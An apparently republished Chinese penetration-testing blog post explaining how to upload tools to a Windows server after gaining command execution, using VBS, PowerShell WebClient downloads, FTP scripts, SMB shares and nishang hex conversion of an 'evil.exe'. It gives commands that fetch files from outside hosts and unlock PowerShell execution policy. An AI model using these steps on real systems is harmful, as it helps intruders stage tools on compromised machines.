zoukankan      html  css  js  c++  java
  • 文件上传

    我们在做渗透测试的时候会经常遇到存在命令执行的Windows服务器,而且不能上传shell,唯一的入口就是命令执行,这种情况下,我们需要向服务器上传一个大一点的工具,如何实现,这就是本文章主要的内容。

    利用http协议下载文件

    利用vbs下载

    将下面的代码保存为test.vbs

    1.png

    执行如下语句:

    cscript test.vbs
    

    利用powershell下载

    将如下代码保存为test.ps1

    $p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:\%homepath%file")
    

    执行.test.ps1

    有的时候PowerShell的执行权限会被关闭,需要使用如下的语句打开。

    powershell set-executionpolicy unrestricted
    

    利用ftp协议下载文件

    1 创建一个ftp服务器,或者使用公共的ftp服务器

    2 将下面的代码保存为test.txt

    ftp 127.0.0.1
    username
    password
    get fileexit
    

    3 执行下面的命令

    ftp -s:test.txt
    

    利用smb协议拷贝文件

    1 在公网创建一个共享如:111.111.111.111test$

    2 命令行下执行net use 111.111.111.111test$ /u:test test

    3 最后上传文件到共享,命令行下拷贝:copy 111.111.111.111test$test.exe c:

    利用echo直接写文件

    使用nishang的powershell工具包对上传的文件进行处理,然后使用echo到文件中,最后再转为原始文件。

    下载地址:https://github.com/samratashok/nishang

    具体操作步骤:

    1 将文件转为hex

    PS > .ExetoText.ps1 evil.exe evil.txt
    

    2 将hex的值echo到文件中

    3 将hex转为原始文件

    PS > .TexttoExe.ps1 evil.text evil.exe
    

    总结

    这几种方式的利用场景是在我们发现一个服务器存在命令执行,而且还是一台Windows,在不依赖其他工具的前提下,使用Windows自带的命令将我们需要的工具上传到服务器的姿势。以上的脚本文件都可以使用echo 的方式保存到服务器上,然后再利用这些姿势上传大一点的工具等文件。欢迎大家补充各种姿势。

  • 相关阅读:
    IoC和AoP
    学习树
    Avalon Framework概念
    java利用WatchService实时监控某个目录下的文件变化并按行解析
    [DBT-08001] 无法检查可用内存。
    C#之http协议与soap协议之间的区别
    C#之ActionResult 详解
    C#实现连接池
    C#MVC之传入字典的模型项为 null,但此字典需要类型“System.Decimal”的非 null 模型项。
    Func的介绍
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/11221577.html
Copyright © 2011-2022 走看看